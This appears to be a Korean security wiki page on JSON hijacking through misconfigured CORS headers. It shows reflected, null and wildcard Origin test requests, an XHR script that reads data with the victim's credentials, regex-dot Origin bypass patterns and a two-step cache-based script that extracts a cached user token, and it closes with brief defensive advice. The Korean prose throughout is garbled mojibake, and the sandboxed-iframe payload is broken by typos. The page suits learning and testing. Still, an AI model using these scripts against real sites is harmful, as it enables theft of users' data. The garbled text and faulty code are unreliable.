JSON Hijacking

JSON Hijacking

๐Ÿ” Introduction

JSON Hijacking์€ SOP์˜ ์˜ˆ์™ธ๋ฅผ ์œ„ํ•œ CORS ์„ค์ •์ด ๋ฏธํกํ•œ ๊ฒฝ์šฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์‚ฌ์šฉ์ž์˜ ๋ฐ์ดํ„ฐ ๋“ฑ์„ ์ž„์˜๋กœ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๋Š” ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค.

CORS

CORS(Cross-site Origin Sharing)๋Š” ์„œ๋ฒ„๊ฐ€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋ฆฌ์†Œ์Šค ๋กœ๋“œ๋ฅผ ํ—ˆ์šฉํ•ด์•ผ ํ•˜๋Š” ์ž์ฒด ์†Œ์Šค ์ด์™ธ์˜ ๋ชจ๋“  ์˜ค๋ฆฌ์ง„(๋„๋ฉ”์ธ, ์Šคํ‚ค๋งˆ ๋˜๋Š” ํฌํŠธ)์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ๋„๋ก ํ•˜๋Š” HTTP ํ—ค๋” ๊ธฐ๋ฐ˜ ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋ธŒ๋ผ์šฐ์ €๋Š” ๋ชจ๋“  Cross site ๊ฐ„์˜ ํ†ต์‹ ์„ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ฐจ๋‹จํ•˜๊ณ  ํ•ด๋‹น ํ—ค๋”๋กœ ํ—ˆ์šฉ ์ •์ฑ…์„ ๋ฐ›์€ ์„œ๋ฒ„์— ๋Œ€ํ•ด์„œ๋งŒ ๋ฐ์ดํ„ฐ๋ฅผ ์ฃผ๊ณ ๋ฐ›์„ ์ˆ˜ ์žˆ๋„๋ก ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ ์‹ค์ œ๋กœ ๋ฐ์ดํ„ฐ ํ†ต์‹ ์ด ์ผ์–ด๋‚˜๊ธฐ ์ „์— CORS ์ •์ฑ…์„ ์ค€์ˆ˜ํ•˜๋Š”์ง€ ์ฒดํฌํ•˜๊ธฐ ์œ„ํ•ด OPTIONS Method๋กœ ์ฒดํฌ๋ฅผ ์ง„ํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ณผ์ •์„ Preflighted Request๋ผ๊ณ  ๋ถ€๋ฆ…๋‹ˆ๋‹ค.

Preflighted Request์™€ ์‹ค์ œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•œ Request์—์„œ ๋ชจ๋‘ Origin ํ—ค๋”๋ฅผ ํ†ตํ•ด ์ด ๋„๋ฉ”์ธ์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ๊ฐˆ ์ˆ˜ ์žˆ๋Š”์ง€ ์š”์ฒญํ•˜๊ณ ,

GET /get-info.json HTTP/1.1
Origin: https://trusted-site

์„œ๋ฒ„๋Š” ACAO(Access-Control-Allow-Origin)๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋„๋ฉ”์ธ์˜ ์ •๋ณด๋ฅผ ๋‚ด๋ ค์ฃผ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
...snip..
Access-Control-Allow-Origin: https://trusted-site
Access-Control-Allow-Credentials: true

๊ทธ๋ฆฌ๊ณ  ๋ธŒ๋ผ์šฐ์ €๋Š” ์ „๋‹ฌ๋ฐ›์€ ACAO์™€ ๊ธฐํƒ€ CORS ๊ด€๋ จ ํ—ค๋”๋“ฑ์„ ์ฐธ๊ณ ํ•˜์—ฌ ๋ฐ์ดํ„ฐ ํ†ต์‹ ์„ ์ฒ˜๋ฆฌํ• ์ง€ ๊ฒฐ์ •ํ•˜๊ณ  ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.

Weakness

๊ทธ๋ž˜์„œ ์„œ๋ฒ„๊ฐ€ ์ž˜๋ชป๋œ ACAO ํ—ค๋”๋ฅผ ์ „๋‹ฌํ•˜๋Š” ๊ฒฝ์šฐ ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ๋„๋ฉ”์ธ์—์„œ ์ž„์˜๋กœ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์„ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ๊ฐˆ ์ˆ˜ ์žˆ๊ณ , ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ๋ฅผ CORS Misconfigration ๊ทธ๋ฆฌ๊ณ  ์‹ค์ œ๋กœ ํƒˆ์ทจ๊ฐ€ ์ผ์–ด๋‚œ๋‹ค๋ฉด JSON Hijacking์ด๋ผ๊ณ  ๋ถ€๋ฆ…๋‹ˆ๋‹ค.

๐Ÿ—ก Offensive techniques

Detect

๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋„๋ฉ”์ธ์„ Origin ํ—ค๋”๋กœ ์ „์†กํ•˜์—ฌ ACAO ํ—ค๋”(Access-Control-Allow-Origin)์— ๋ฐ˜์˜๋œ๋‹ค๋ฉด ์ทจ์•ฝ ํ•˜๋‹ค๊ณ  ํŒ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ถ€ Wildcard(*)๋กœ ACAO ํ—ค๋”๊ฐ€ ์˜ค๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ๋Š”๋ฐ, ์ด๋Ÿฌํ•œ ๊ฒฝ์šฐ ๋ชจ๋“  ๋„๋ฉ”์ธ์—์„œ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, Access-Control-Allow-Credentials์™€ ๋ณ„๊ฐœ๋กœ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค๋ฅผ ๋ถ™์—ฌ์„œ ์ „์†กํ•  ์ˆ˜ ์—†๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์ด์ „ ํฌ์ŠคํŠธ๋ฅผ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”.

GET /get-info.json HTTP/1.1
Origin: https://www.hahwul.com
HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json
Content-Length: 223
Connection: keep-alive
Last-Modified: Fri, 03 Sep 2021 01:43:46 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Access-Control-Allow-Origin: https://www.hahwul.com
Access-Control-Allow-Credentials: true
Vary: Origin

Reflected ACAO

GET /get-info.json HTTP/1.1
Origin: https://attacker.com
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

Null ACAO

ACAO ํ—ค๋”๋Š” Null์„ ๋ฐ˜ํ™˜ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

GET /get-info.json HTTP/1.1
Origin: null
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

RFC 6454 ์—์„  privacy-sensitive context ์—์„œ null์„ ์ „์†กํ•˜๋ผ๊ณ  ๋ช…์‹œ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค. privacy-sensitive context์— ํฌํ•จ๋˜๋Š”๊ฑด ์•„๋ž˜์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • Anchor Tag/hyperlink click
  • Window navigation
  • Image load (<img> tag)
  • Stylesheet
  • Dependent load in stylesheet

๋ฌธ์ œ๋Š” null์ธ ๊ฒฝ์šฐ์— ์•„๋ž˜์™€ ๊ฐ™์ด sandbox iframe์„ ์ด์šฉํ•˜์—ฌ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<iframe name="malicious" srcdoc="<script>
    varr = new XMLHttpRequest();
    var url = 'https://target_site;
    ropen('GET', url, false);
    r.withCredentials=true;
    r.sendo:
    </script>" sandbox="allow-scripts" width="Opx" height="Opx" style="border: Opx none;"> 
</iframe>

์•„๋ž˜ stackoverflow ๊ธ€๋„ ๊ฐ™์ด ์ฐธ๊ณ ํ•˜์‹œ๋ฉด ์ข‹์Šต๋‹ˆ๋‹ค.

https://stackoverflow.com/questions/42239643/when-do-browsers-send-the-origin-header-when-do-browsers-set-the-origin-to-null

Wildcard ACAO

Wildcard(*)๋กœ ์‘๋‹ตํ•˜๋Š” ๊ฒฝ์šฐ ์–ด๋–ค ๋„๋ฉ”์ธ์—์„œ๋„ ๋ฐ์ดํ„ฐ๋ฅผ ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹จ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜(์ฟ ํ‚ค, ์ธ์ฆํ—ค๋” ๋“ฑ)์€ ํฌํ•จ์‹œํ‚ฌ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ JSON Hijacking ๋“ฑ ์‚ฌ์šฉ์ž ์„ธ์…˜ ๊ธฐ๋ฐ˜์˜ ๊ณต๊ฒฉ ๊ด€์ ์—์„  ์˜คํžˆ๋ ค ์•ˆ์ „ํ•œ ํ˜•ํƒœ์˜ ์„ค์ •์ด์ง€๋งŒ, ๋ฌด๋ถ„๋ณ„ํ•œ API ํ˜ธ์ถœ๋กœ ์–ด๋ทฐ์ง•์ด ๊ฐ€๋Šฅํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ž˜์„œ ๋ณด์•ˆ, ๊ฐœ๋ฐœ์—์„  ์ง์ ‘ ๋„๋ฉ”์ธ์„ ์„ค์ •ํ•˜๋Š”๊ฒŒ ์•ˆ์ „ํ•œ์ง€, Wildcard๋ฅผ ์„ค์ •ํ•˜๋Š”๊ฒŒ ์•ˆ์ „ํ•œ์ง€ ๊ฒ€ํ† ํ•˜๊ณ  ํ…Œ์ŠคํŠธํ•˜์—ฌ ์„ ํƒ ์ ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค.

GET /get-info.json HTTP/1.1
Origin: *
HTTP/1.1 200 OK
Server: nginx
Access-Control-Allow-Origin: *

Exploitation

ACAO์— ๊ณต๊ฒฉ์ž๊ฐ€ ์˜๋„ํ•œ ๋„๋ฉ”์ธ์„ ๋ฐ˜์˜ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด ํ•ด๋‹น ๋„๋ฉ”์ธ์—์„  ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์„ ์ด์šฉํ•˜์—ฌ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค.

var http = new XMLHttpRequest();
http.open("GET", "https://weak-service/get-info.json", true);

http.setRequestHeader("Content-Type","application/json");
http.withCredentials = true;
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
        console.info(http.status);
        console.info(http.responseText);
        document.write("Responsed data<hr>"+http.responseText);
    } else {
        document.write("Error");
    }
}
http.send();

Bypass protection

Bypass Origin

Origin ํ—ค๋”์— ๋Œ€ํ•ด ๊ฒ€์ฆํ•˜๋Š” ์ ˆ์ฐจ๊ฐ€ ์žˆ๋Š” ๊ฒฝ์šฐ ์–ด๋–ค ํ˜•ํƒœ๋กœ ๊ฒ€์ฆ ํ•˜๋Š”์ง€ ํŒŒ์•…ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์ •ํ™•ํ•˜๊ฒŒ ๋„๋ฉ”์ธ์„ ์‹๋ณ„ํ•œ๋‹ค๋ฉด ์šฐํšŒ๊ฐ€ ์–ด๋ ต๊ฒ ์ง€๋งŒ, ๋ฌธ์ž์—ด ๋˜๋Š” ์ •๊ทœ์‹ ๊ธฐ๋ฐ˜์œผ๋กœ ์‹๋ณ„ํ•˜๋Š” ๊ฒฝ์šฐ ์šฐํšŒํ•  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค. Origin์˜ ๊ฒฝ์šฐ Referer ํ—ค๋”์™€ ๋‹ค๋ฅด๊ฒŒ Path๊ฐ€ ๋ถ™์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๋„๋ฉ”์ธ์„ ์ด์šฉํ•œ ์šฐํšŒ ๋ฐฉ๋ฒ•์ด ์ตœ์„ ์ž…๋‹ˆ๋‹ค.

๋Œ€ํ‘œ์ ์ธ ๋ฐฉ๋ฒ•์œผ๋ก  trust domain์„ subdomain์œผ๋กœ ์œ„์žฅํ•˜๋Š” ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ๋‹จ์ˆœํžˆ ํ•ด๋‹น ๋„๋ฉ”์ธ์˜ ๋ฌธ์ž์—ด์ด ์žˆ๋Š”์ง€ ๊ฑธ๋Ÿฌ๋‚ด๋Š” ๊ฒฝ์šฐ ์‰ฝ๊ฒŒ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Origin: trust.domain.attacker.domain

.(dot)์€ ์ •๊ทœํ‘œํ˜„์‹์—์„œ ๊ฐœํ–‰๋ฌธ์ž๋ฅผ ์ œ์™ธํ•œ ๋ชจ๋“  ๋ฌธ์ž๋ฅผ ์˜๋งˆํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋งŒ์•ฝ trust.domain ์ด๋ž€ ๋„๋ฉ”์ธ์œผ๋กœ ๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•ด ์ •๊ทœํ‘œํ˜„์‹์— trust.domain ์œผ๋กœ ๊ฒ€์‚ฌํ•˜๋Š” ๊ฒฝ์šฐ .์ด ์‹ค์ œ ๋ฌธ์ž .์ด ์•„๋‹Œ ์ •๊ทœํ‘œํ˜„์‹์œผ๋กœ ํ•ด์„๋˜์–ด ์•„๋ž˜์™€ ๊ฐ™์€ ํŒจํ„ด์ด ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Origin: attacker.trustadomain
Origin: attacker.trustbdomain
Origin: attacker.trustcdomain

์ƒ๊ฐ๋ณด๋‹ค ์ž˜ ๋ฐœ์ƒํ•˜๋Š” ์ผ€์ด์Šค๋กœ ์•Œ์•„๋‘๋ฉด ์šฐํšŒํ•˜๋Š”๋ฐ ํฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

Bypass with dot

Origin ๊ฒ€์‚ฌ๋Š” ๋ณดํ†ต ์ •๊ทœํ‘œํ˜„์‹์„ ๋งŽ์ด ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋•Œ dot(.)์˜ ์กด์žฌ๋ฅผ ๊ฐœ๋ฐœ์ž๊ฐ€ ์ž˜ ๋†“์น˜๊ธฐ ์‰ฝ๊ณ , ์•„๋ž˜์™€ ๊ฐ™์ด . ์„ ์ง์ ‘ ์‚ฌ์šฉํ•˜์˜€์„ ๊ฒฝ์šฐ ๋ฉ”ํƒ€ ๋ฌธ์ž๋กœ ๋™์ž‘ํ•˜์—ฌ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

config.middleware.insert_before 0, Rack::Cors do
 allow do
   origins /^https:\/\/[0-9]{1,6}.apps.trusted.com/
   resource '*', headers: :any, methods: %i[get post head]
 end 
end
Origin: https://123.apps.trusted.com (O)
Origin: https://123.google.com (X)
Origin: https://111.apps1trusted.com (O)

์ด์™€ ๊ด€๋ จ๋œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ CORS Bypass via dot ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š”!

Bypass with Caching

ACAO๊ฐ€ Wildcard(*)์ธ ์ƒํƒœ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์œ ์ € ์„ธ์…˜์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์—†์–ด JSON Hijacking์ด ๋ถˆ๊ฐ€๋Šฅํ•˜์ง€๋งŒ, ๋งŒ์•ฝ JSON Response ํŽ˜์ด์ง€์˜ Cache-Control๋กœ ์ธํ•ด ๋กœ์ปฌ ์บ์‹ฑ๋˜๋Š” ๊ฒฝ์šฐ SOP๋ฅผ ์šฐํšŒํ•˜์—ฌ ์ •๋ณด๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Access-Control-Allow-Origin: *

Cached ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ๋Š” ๊ณผ์ •์€ ์‹ค์ œ ์„œ๋ฒ„๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ์š”์ฒญํ•˜์ง€ ์•Š๊ณ  ๋ธŒ๋ผ์šฐ์ € ๋‚ด์— ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ”๋กœ ์ฝ์–ด ์‚ฌ์šฉ์ž์—๊ฒŒ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๊ฑธ ์ด์šฉํ•˜์—ฌ ๊ณต๊ฒฉ์ž๊ฐ€ ์ค‘์š” ์ •๋ณด๊ฐ€ ์žˆ๋Š” ํŽ˜์ด์ง€๋ฅผ ์‚ฌ์šฉ์ž์˜ ์„ธ์…˜์œผ๋กœ ์บ์‹ฑ์‹œํ‚จ ํ›„ ACAO๊ฐ€ Wildcard์ธ ์ƒํƒœ์—์„œ ์ด๋ฏธ ์บ์‹œ๋œ ๊ฒฐ๊ณผ๋ฅผ ์ฝ์–ด์˜ค๋Š” ํ˜•ํƒœ๋กœ SOP๋ฅผ ํ†ต๊ณผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. (์™œ๋ƒ๋ฉด Origin ์ •์ฑ…์ด wildcard ์ผ ๋•Œ ์ธ์ฆ์„ ํฌํ•จํ•˜์ง€ ์•Š๋Š” ์š”์ฒญ์€ response๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด์ฃ  ๐Ÿ˜)

์˜ˆ๋ฅผ๋“ค์–ด ์ธ์ฆ ์ƒํƒœ์—์„œ๋งŒ ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ๋‚ด๋ ค์ฃผ๋Š” ํŽ˜์ด์ง€๊ฐ€ ์žˆ๋‹ค๊ณ  ๊ฐ€์ •ํ•ฉ์‹œ๋‹ค.

With Auth

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...

{"username":"hahwul","token":"ABCDEFG123456"}

Without Auth

HTTP/1.1 403 FORBIDDEN
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600
...

์ด ๋•Œ ACAO๊ฐ€ * ์ธ ์ƒํƒœ์—์„œ CSRF์™€ ๊ฐ™์ด SOP์˜ ์˜ํ–ฅ์„ ๋ฐ›์ง€ ์•Š๋Š” ์š”์ฒญ(img, form, etcโ€ฆ)์„ ํ†ตํ•ด HTTP Request๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

<img src="https://vuln.hahwul.com/get-token">

๊ทธ๋Ÿฌ๋ฉด ์•„๋ž˜์™€ ๊ฐ™์ด ์‚ฌ์šฉ์ž ์ •๋ณด๋ฅผ ํฌํ•จํ•œ ์š”์ฒญ์ด Response๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. ๋‹น์—ฐํžˆ ๊ณต๊ฒฉ์ฝ”๋“œ๋Š” ์ด๋ฅผ ์ฝ์„ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๋‹จ response ๋‚ด cache-control๋กœ ์ธํ•ด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋Š” ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์— ์บ์‹œ๋ฉ๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-Control: private, max-age=3600

{"username":"hahwul","token":"ABCDEFG123456"}

์ด์ œ withCredentials๋ฅผ false๋กœ ์ฃผ๊ณ  $.ajax๋ฅผ ํ†ตํ•ด HTTP Request๋ฅผ ์ „์†กํ•ด๋ด…์‹œ๋‹ค. ACAO๊ฐ€ *์ด๊ธฐ ๋–„๋ฌธ์— ์ด ์ฝ”๋“œ๋Š” Response์˜ ๋ฐ์ดํ„ฐ๋ฅผ ํ•ธ๋“ค๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์‚ฌ์šฉ์ž์˜ ์ฟ ํ‚ค์ •๋ณด๋Š” ์›น ์š”์ฒญ์— ํฌํ•จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

$.ajax({
      url: "https://vuln.hahwul.com/get-token",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });

์ด ๋•Œ ์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์บ์‹œ๋œ ๋ฐ์ดํ„ฐ๋ฅผ ์ฝ์–ด์˜ค๊ธฐ ๋•Œ๋ฌธ์— body์— ์•„๋ž˜ ์ •๋ณด๊ฐ€ ํฌํ•จ๋˜์–ด response๋กœ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค.

{"username":"hahwul","token":"ABCDEFG123456"}

๊ทธ๋Ÿฌ๋ฉด ๊ณต๊ฒฉ์ž๋Š” SOP๋ฅผ ๋ฌด์‹œํ•˜๊ณ  ์‚ฌ์šฉ์ž์˜ ์ •๋ณด๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ „์ฒด ๊ณต๊ฒฉ ํ”Œ๋กœ์šฐ๋ฅผ ๋‹ด์€ ์ฝ”๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๊ณ , ์ž์„ธํ•œ ๋‚ด์šฉ์€ ์˜ˆ์ „์— ์ž‘์„ฑํ•œ ๊ธ€์„ ์ฐธ๊ณ ํ•ด์ฃผ์„ธ์š” :D

<!-- Step1, Caching with Auth -->
<script>  
var url = "https://vuln.hahwul.com/get-token";  
fetch(url, {    
    method: 'GET',    
    cache: 'force-cache'
    });
</script>
<!-- Sometimes, it is convenient to use the img tag when it is cached by default. -->
<!-- <img src="https://vuln.hahwul.com/get-token"> -->

<!-- Step2, Get Userdata without Auth(Using cache)-->
<script>
//delay for cached
setTimeout(function (){
  // get information without auth
  $.ajax({
      url: "https://vuln.hahwul.com/get-token",
      type: "get",
      xhrFields: {
        withCredentials: false
      },
      headers: {
          "Accept":"application/json",
          "Accept-Language":"ko-KR,ko;q=0.8,en-US;q=0.5,en;q=0.3",
      },
      success: function (data) {
          console.info(data);
      }
  });
}, 2000);
</script>

๐Ÿ›ก Defensive techniques

CORS ์‚ฌ์šฉ์ด ํ•„์š”ํ•œ ํŽ˜์ด์ง€์—์„  ACAO ํ—ค๋”์— ๋Œ€ํ•ด ๋„๋ฉ”์ธ์„ ์ •ํ™•ํ•˜๊ฒŒ ๋‚ด๋ ค์ฃผ๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๋กœ์ปฌ์—์„œ๋งŒ ํ˜ธ์ถœ๋˜๋Š” ํŽ˜์ด์ง€๋ผ๋ฉด ACAO ํ—ค๋” ์ž์ฒด๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์ด ๊ฐ€์žฅ ์ข‹์Šต๋‹ˆ๋‹ค.

๋˜ํ•œ ๋ฏผ๊ฐ์ •๋ณด์˜ ๊ฒฝ์šฐ Response ๋‚ด cache-control์„ ์ ์ ˆํžˆ ์„ค์ •ํ•˜์—ฌ (no-cache ๋“ฑ) ๋ฐ์ดํ„ฐ๊ฐ€ ๋กœ์ปฌ ๋ธŒ๋ผ์šฐ์ €์— ํŒŒ์ผ๋กœ ์บ์‹œ๋˜์ง€ ์•Š๋„๋ก ์ฒ˜๋ฆฌํ•ด์ฃผ๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. (ํŠนํžˆ ACAO *์„ ํ—ˆ์šฉํ•˜๋Š” ๊ฒฝ์šฐ)

๐Ÿ“Œ References

  • https://www.hahwul.com/2020/01/12/json-hijacking-sop-bypass-technic-with-cache/
  • https://www.hahwul.com/2019/04/10/why-failed-get-data-with-this-cors-policy/
  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration